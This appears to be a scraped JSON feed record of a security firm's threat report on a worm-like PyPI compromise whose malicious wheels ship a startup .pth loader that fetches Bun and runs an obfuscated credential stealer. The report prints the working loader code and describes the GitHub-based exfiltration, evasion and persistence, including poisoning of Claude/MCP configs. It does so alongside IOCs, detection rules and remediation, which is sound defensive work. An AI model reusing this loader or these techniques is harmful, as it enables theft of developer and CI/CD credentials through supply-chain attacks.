[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fRJBx13BUDqm32Poi_FOv3dpNUSy59tF9ZDRWBB6hyc4":3},{"article":4,"iocs":56},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":33,"category":34,"article_tags":38},"061af904-2f4f-4f86-a824-d0157e6c643a","Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads with New PyPI Wave","shai-hulud-descends-to-hades-miasma-worm-campaign-spreads-with-new-pypi-wave-18a793","Socket detected a coordinated PyPI compromise involving 37 malicious wheel artifacts across 19 packages. The compromised releases shipped a *-setup.pth file that attempts to execute automatically during Python startup, download the Bun JavaScript runtime, and run an obfuscated JavaScript payload named _index.js. Socket’s AI malware detection system identified the malicious package cluster minutes after publication. The attack is cross-runtime, and the tradecraft is unmistakably Shai-Hulud \u002F Miasma. Python packages provide the delivery vehicle, but the payload runs under Bun as a heavily obfuscated JavaScript stealer. That Bun dependency is a key fingerprint of this family: Shai-Hulud-style payloads do not assume Node.js, Python, or another local runtime will be available. Instead, they download and install Bun, then use it as the execution engine. That behavior has shown up even in npm compromises, where Node.js would otherwise be the expected runtime. Static deobfuscation of _index.js mirrors what we have seen in compromised npm packages from the same lineage: a character-code and ROT-style eval wrapper, AES-GCM encrypted stages, rotated string tables, custom string decoders, and embedded AES\u002Fgzip-protected strings. Once unpacked, the payload targets the same high-value developer and CI\u002FCD secret classes seen across Mini Shai-Hulud and Miasma waves, including GitHub, npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, AWS, GCP, Azure, Kubernetes, Vault, SSH keys, Docker configs, shell histories, .env files, .npmrc, .pypirc, Claude\u002FMCP configs, and other local or runner-accessible credentials. The campaign marker changed. Earlier reporting tied the Red Hat Cloud Services wave to the Zelda-themed payload marker Miasma: The Spreading Blight, and other Shai-Hulud-related activity has used different thematic markers. The Shai-Hulud connection was first flagged to us on Bluesky by boredchilada, an incident responder who tagged Socket shortly after the packages went live; our deobfuscation of _index.js confirmed it, though with a new theme. Instead of Zelda references, this payload uses Hades-themed GitHub exfiltration markers, including the repository description Hades - The End for the Damned and generated repository-name components such as stygian, tartarean, cerberus, charon, styx, lethe, thanatos, and persephone. That makes Hades best understood as a PyPI branch of the same Mini Shai-Hulud \u002F Miasma lineage, not a standalone Python malware incident. The core playbook remains the same: abuse trusted package channels, execute before normal package use, stage a Bun-powered JavaScript payload, steal developer and CI\u002FCD credentials, and use GitHub-centric exfiltration and propagation logic. What changed is the ecosystem-specific trigger: this wave uses Python *-setup.pth startup execution instead of npm preinstall or other npm install-time paths. The PyPI packages are the latest branch of this campaign that has moved quickly across open source ecosystems over the past few days. Socket is now tracking 448 affected artifacts across npm and PyPI, comprising 411 npm artifacts across 106 packages and 37 malicious PyPI wheels across 19 projects. At the time of writing, PyPI had already quarantined a number of the affected releases; we reported the remaining ones to the PyPI security team. We are tracking the full campaign on a dedicated page, with all affected artifacts added as they are identified: https:\u002F\u002Fsocket.dev\u002Fsupply-chain-attacks\u002Fmiasma-mini-shai-hulud-supply-chain-attack Affected PyPI packages # These 37 compromised artifacts span 19 PyPI packages from what looks like a single maintainer-account takeover. Consecutive patch releases were mass-published across the author's whole portfolio at once. The risk concentrates in a handful of established bioinformatics tools: dynamo-release (the aristoteleo\u002Fdynamo single-cell RNA-velocity and expression-dynamics framework) and its spatial-transcriptomics sibling spateo-release, coolbox (GangCaoLab's Jupyter-based multi-omics genomic visualization toolkit for Hi-C\u002FChIP-Seq\u002FRNA-Seq tracks), and the deep-learning FISH spot-detection tools ufish\u002Fnapari-ufish. These are real and widely used research-community tools with cumulative download totals in the low-to-mid hundreds of thousands; they account for the large majority of the aggregate install base. The rest are low-traffic agent\u002Ftask-execution, function-description, and lab-utility libraries — small footprints caught in the same blast rather than independently valuable targets. What the malicious wheels contained # The malicious wheel pattern observed by Socket is simple and highly suspicious: \u002F ... _index.js *-setup.pth The *-setup.pth file contains a single executable Python line. Python’s site module processes .pth files during interpreter startup; lines beginning with import followed by a space or tab are executed. That gives attackers an automatic startup execution primitive after installation, without requiring the victim to import the compromised package. The loader attempts to: create a sentinel at tempfile.gettempdir()\u002F.bun_ran; locate _index.js next to the package or one subdirectory below it; download Bun v1.3.13 from GitHub if no cached Bun binary exists under the temp directory; run bun run _index.js; write the sentinel to avoid repeated execution. A normalized version of the loader: import glob import os import platform import subprocess import sys import tempfile import urllib.request import zipfile sentinel = os.path.join(tempfile.gettempdir(), \".bun_ran\") if not os.path.exists(sentinel): base = os.path.dirname(__file__) payload = os.path.join(base, \"_index.js\") if not os.path.exists(payload): candidates = glob.glob(os.path.join(base, \"*\", \"_index.js\")) payload = candidates[0] if candidates else \"\" is_windows = os.name == \"nt\" bun = os.path.join(tempfile.gettempdir(), \"b\", \"bun\" + (\".exe\" if is_windows else \"\")) if not os.path.exists(bun): arch = \"aarch64\" if platform.machine() == \"arm64\" else \"x64\" os_name = {\"linux\": \"linux\", \"darwin\": \"darwin\", \"win32\": \"windows\"}.get(sys.platform, \"linux\") zip_path = os.path.join(tempfile.gettempdir(), \"b.zip\") urllib.request.urlretrieve( f\"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-{os_name}-{arch}.zip\", zip_path, ) zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun)) os.chmod(bun, 0o775) os.unlink(zip_path) subprocess.run([bun, \"run\", payload], check=False) open(sentinel, \"w\").close() Implementation note Defenders should validate exploitability per artifact. In standard CPython, executable .pth lines are executed by the site module, and __file__ can resolve to site.py rather than to the .pth file. In a local CPython reproduction, this exact loader shape did not automatically resolve the adjacent package _index.js via os.path.dirname(__file__). The artifact is still malicious: it ships a credential stealer and attempts to bootstrap Bun from a Python startup hook. Why .pth is dangerous # The attack abuses a legitimate Python startup feature. .pth files were designed to add paths to sys.path and support import hooks. But Python explicitly supports executable lines beginning with import. Those lines run at every Python startup, whether or not the corresponding package is imported. That means a compromised wheel can turn an otherwise passive dependency install into a delayed execution trigger: the next python, pip, test run, notebook kernel, CI job, or package-management command that starts Python may process the malicious .pth. This is the Python equivalent of the npm install-hook problem that Shai-Hulud and Miasma repeatedly exploit. The syntax is different, but the security consequence is the same: dependency installation creates an execution edge before application code is reviewed or invoked. Payload deobfuscation # Static deobfuscation of _index.js recovered multiple layers: Outer JavaScript wrapper A try { eval(...) } wrapper decodes a large character-code array and applies a ROT-style alphabet substitution. AES-GCM loader The decoded first stage imports node:crypto, decrypts two embedded AES-128-GCM blobs, writes the main payload to a random \u002Ftmp\u002Fp*.js, and runs it with Bun. Bun bootstrapper A decrypted bootstrapper downloads Bun from https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002F. Main JavaScript payload The main payload uses a rotated string table, a custom PBKDF2\u002FSHA256-based string decoder, and an additional AES-256-GCM + gzip string layer. The submitted _index.js sample starts with a try{eval(...)} wrapper and a long char-code array, matching the obfuscated first stage recovered during static analysis. Capabilities # The recovered payload is a broad developer and cloud credential stealer. It targets: GitHub credentials, GitHub Actions runner secrets, runner memory, and ghs_* tokens. npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic, and package-publishing tokens. AWS credentials, STS identity, SSM Parameter Store, and Secrets Manager. GCP identity, projects, and Secret Manager. Azure identity and Key Vault material. Kubernetes service-account tokens and cluster secrets. Vault tokens and Vault secrets. .env, .npmrc, .pypirc, Git credentials, shell histories, SSH keys, Docker configs, cloud CLI caches, Claude\u002FMCP configs, wallet\u002Fapp data, and other developer-machine secrets. This target list closely matches the Shai-Hulud\u002FMiasma operating model: steal credentials that can unlock package publishing, source control, cloud infrastructure, and CI\u002FCD pipelines, then use that access to deepen or propagate compromise. Exfiltration # The payload includes multiple exfiltration paths. Direct HTTPS exfiltration The payload contains a direct HTTPS sender configured for: api.anthropic.com \u002Fv1\u002Fapi 443 This is Anthropic's real API host. Both GET and POST requests to https:\u002F\u002Fapi.anthropic.com\u002Fv1\u002Fapi return Anthropic's standard 404 not_found_error, confirming \u002Fv1\u002Fapi is not a live route. Hence, this channel cannot deliver data to the attacker, and there is no indication Anthropic systems were compromised. We assess its purpose as network-log camouflage: traffic to a ubiquitous AI-vendor host blends in and is impractical to blanket-block, while GitHub remains the family's confirmed exfiltration channel. GitHub repository exfiltration The payload can create public repositories using POST \u002Fuser\u002Frepos, then commit encrypted\u002Fcompressed result envelopes under paths like: results\u002Fresults- - .json Recovered markers include: Repository description: Hades - The End for the Damned Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully GitHub Actions artifact exfiltration Embedded workflow logic writes GitHub Actions secrets to: format-results.txt and uploads an artifact named: format-results Recovered workflow name: Run Copilot Evasion and environmental checks # The payload contains checks for Russian locale\u002Fenvironment signals and StepSecurity\u002Fharden-runner indicators. It also includes decoy-token prefix checks covering GitHub, npm, Anthropic, CircleCI, and AWS-style secrets. This is another continuity point with the broader Shai-Hulud family: the actor or copycat tooling is not simply grabbing environment variables; it is trying to identify instrumented environments, avoid some decoys, and focus on high-value credential material. Persistence and follow-on artifacts # Recovered persistence\u002Ffollow-on indicators include: gh-token-monitor GitHub Commit Monitor ~\u002F.config\u002Fgh-token-monitor\u002F ~\u002F.local\u002Fbin\u002Fgh-token-monitor.sh ~\u002F.config\u002Fsystemd\u002Fuser\u002Fgh-token-monitor.service ~\u002FLibrary\u002FLaunchAgents\u002Fcom.github.token-monitor.plist ~\u002F.local\u002Fshare\u002Fupdater\u002Fupdate.py .claude\u002Fsetup.mjs .github\u002Fsetup.js .github\u002Fworkflows\u002Fcodeql.yml The Claude\u002FMCP and GitHub workflow artifacts are especially important in the broader context. Recent Shai-Hulud-like campaigns have moved beyond package manager hooks into AI developer toolchains, MCP configuration, IDE\u002Feditor hooks, and workflow-level persistence. This PyPI wave should be investigated not only as a package compromise, but as a possible entry point into developer automation and AI-assisted coding environments. Detection opportunities # Package-level static detection High-confidence static detection should alert on any PyPI wheel containing: .pth executable import line remote runtime or executable download tempdir binary install subprocess execution _index.js or JavaScript payload handoff Specific strings from this wave: .bun_ran _index.js oven-sh\u002Fbun\u002Freleases\u002Fdownload bun-v1.3.13 urllib.request urlretrieve subprocess tempfile.gettempdir bun run exec( A generic rule should not depend on the exact Bun version. The family can easily change bun-v1.3.13 to another release, rename the sentinel, or swap _index.js for another filename. The stronger behavior chain is executable .pth plus network retrieval plus subprocess execution plus staged JavaScript payload. Runtime detection Runtime indicators include: python -> bun python -> network request to github.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002F python -> writes tempdir\u002Fb.zip python -> writes tempdir\u002Fb\u002Fbun or tempdir\u002Fb\u002Fbun.exe bun -> runs _index.js bun or node-like runtime -> outbound HTTPS to api.anthropic.com\u002Fv1\u002Fapi Filesystem indicators: \u002Ftmp\u002F.bun_ran %TEMP%\\\\.bun_ran \u002Ftmp\u002Fb.zip %TEMP%\\\\b.zip \u002Ftmp\u002Fb\u002Fbun %TEMP%\\\\b\\\\bun.exe _index.js inside site-packages or package subdirectories *-setup.pth inside site-packages GitHub and CI indicators: Repository description: Hades - The End for the Damned Commit marker: IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully Workflow name: Run Copilot Artifact name: format-results Path pattern: results\u002Fresults-*.json Unexpected .github\u002Fworkflows\u002Fcodeql.yml changes Hades adapts Miasma tradecraft for PyPI # The Hades PyPI cluster shows how Mini Shai-Hulud-style tradecraft continues to splinter into ecosystem-specific branches. Unlike earlier Mini Shai-Hulud waves, which moved from PyPI to npm and then Packagist through a related compromise chain, this wave centers on a separate set of malicious Python wheels. The overlap is in technique: the Miasma Red Hat wave showed abuse of legitimate trusted namespaces, forged provenance, Bun staging, cloud identity theft, and CI\u002FCD propagation. For defenders, the lesson is that install-time and startup-time code execution should be treated as a first-class supply chain risk across ecosystems: npm: preinstall, install, postinstall, native build scripts, node-gyp indirection. PyPI: .pth executable lines, import-time code, setup\u002Fbuild hooks, console-script wrappers, dependency confusion, malicious wheels. Packagist: Composer plugins and scripts. GitHub: Actions workflow injection, artifacts, repository exfiltration, and token propagation. AI developer tooling: Claude\u002FMCP config poisoning, editor hooks, agent memory\u002Fcontext abuse, and LLM API token harvesting. Recommended response Organizations that installed any affected version should remove or pin away from the malicious releases, rebuild affected environments where possible, and rotate credentials available to affected developer machines or CI jobs. Prioritize rotation and review for: GitHub personal access tokens, GitHub App tokens, GitHub Actions secrets, and repository deploy keys. PyPI, npm, RubyGems, JFrog, and other package-publishing tokens. AWS, GCP, Azure, Kubernetes, and Vault credentials. SSH keys, Docker credentials, Git credential helpers, cloud CLI profiles, and shell history secrets. Anthropic, CircleCI, Claude\u002FMCP, and other developer-tool tokens. Search local systems, CI workers, and GitHub organizations for the indicators above. Treat any GitHub repository created with the recovered Hades marker, any format-results artifact, or any suspicious workflow named Run Copilot as a likely exfiltration artifact. Indicators of Compromise (IOCs) # Malicious PyPI Artifacts bramin@0.0.2 bramin@0.0.3 bramin@0.0.4 cmd2func@0.2.2 cmd2func@0.2.3 coolbox@0.4.1 coolbox@0.4.2 dynamo-release@1.5.4 executor-engine@0.3.4 executor-engine@0.3.5 executor-http@0.1.3 executor-http@0.1.4 funcdesc@0.2.2 funcdesc@0.2.3 magique@0.6.8 magique@0.6.9 magique-ai@0.4.4 magique-ai@0.4.5 mrbios@0.1.1 mrbios@0.1.2 napari-ufish@0.0.2 napari-ufish@0.0.3 nucbox@0.1.2 nucbox@0.1.3 okite@0.0.7 okite@0.0.8 pantheon-agents@0.6.1 pantheon-agents@0.6.2 pantheon-toolsets@0.5.5 pantheon-toolsets@0.5.6 spateo-release@1.1.2 synago@0.1.1 synago@0.1.2 ufish@0.1.2 ufish@0.1.3 uprobe@0.1.3 uprobe@0.1.4 Hashes _index.js SHA256 hashes dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe (Variant 1, 4.8 MB, 17 packages) e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d (Variant 2, 4.7 MB, 2 packages) *-setup.pth SHA256 hash (identical across all affected artifacts): c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c Files *-setup.pth _index.js Loader strings .bun_ran bun-v1.3.13 oven-sh\u002Fbun\u002Freleases\u002Fdownload urllib.request urlretrieve tempfile.gettempdir subprocess.run Network hxxps:\u002F\u002Fapi[.]anthropic[.]com\u002Fv1\u002Fapi - legitimate Anthropic API host abused as a camouflage exfiltration destination GitHub exfiltration markers Hades - The End for the Damned IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully results\u002Fresults-*.json format-results Run Copilot","A coordinated PyPI compromise has been detected, involving 37 malicious wheel artifacts across 19 packages. These packages deliver a setup file that automatically executes a JavaScript payload using the Bun runtime, targeting developer and CI\u002FCD secrets. This campaign, identified as a branch of the Shai-Hulud\u002FMiasma lineage, uses Hades-themed exfiltration markers.","Miasma worm campaign spreads via PyPI with new Hades-themed JavaScript stealer.","Research\u002FSecurity NewsMini Shai-Hulud Campaign Hits Red Hat Cloud Services npm PackagesA mini Shai-Hulud campaign compromised Red Hat Cloud Services npm packages to steal developer and CI\u002FCD secrets during installation.By Socket Research Team - Jun 01, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fshai-hulud-descends-to-hades-miasma-pypi-wave?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F80f85f1278d4b68075d7edd3617ee427833021b3-2174x1298.png?w=1000&q=95&fit=max&auto=format","2026-06-07T05:30:32.599+00:00","2026-06-07T10:00:23.212967+00:00",9,[18,21,23,26,28,30],{"name":19,"type":20},"Shai-Hulud","threat_actor",{"name":22,"type":20},"Miasma",{"name":24,"type":25},"Bun","product",{"name":27,"type":25},"PyPI",{"name":29,"type":25},"npm",{"name":31,"type":32},"JavaScript","technology","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":33,"icon":35,"name":36,"slug":37},null,"Supply Chain","supply-chain",[39,41,46,51],{"category":40},{"id":33,"icon":35,"name":36,"slug":37},{"category":42},{"id":43,"icon":35,"name":44,"slug":45},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":47},{"id":48,"icon":35,"name":49,"slug":50},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",{"category":52},{"id":53,"icon":35,"name":54,"slug":55},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[57,59,60,63,67,69,71,73,75,77,80,84,87,90,94],{"type":45,"value":22,"context":58},"Malware family name",{"type":45,"value":19,"context":58},{"type":45,"value":61,"context":62},"Hades","Campaign theme\u002Fmarker",{"type":64,"value":65,"context":66},"url","https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-linux-x64.zip","Bun runtime download URL",{"type":64,"value":68,"context":66},"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-darwin-x64.zip",{"type":64,"value":70,"context":66},"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-windows-x64.zip",{"type":64,"value":72,"context":66},"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-linux-aarch64.zip",{"type":64,"value":74,"context":66},"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-darwin-aarch64.zip",{"type":64,"value":76,"context":66},"https:\u002F\u002Fgithub.com\u002Foven-sh\u002Fbun\u002Freleases\u002Fdownload\u002Fbun-v1.3.13\u002Fbun-windows-aarch64.zip",{"type":64,"value":78,"context":79},"hxxps:\u002F\u002Fapi[.]anthropic[.]com\u002Fv1\u002Fapi","Abused as camouflage exfiltration destination",{"type":81,"value":82,"context":83},"hash_sha256","dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe","_index.js variant 1 hash",{"type":81,"value":85,"context":86},"e1342a80d4b5e83d2c7c22e1e0aaa95f2d88e3dbf0d853a4994b180c93a4b17d","_index.js variant 2 hash",{"type":81,"value":88,"context":89},"c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c","*-setup.pth hash",{"type":91,"value":92,"context":93},"domain","api.anthropic.com","Exfiltration camouflage destination",{"type":64,"value":95,"context":96},"https:\u002F\u002Fsocket.dev\u002Fsupply-chain-attacks\u002Fmiasma-mini-shai-hulud-supply-chain-attack","Campaign tracking page"]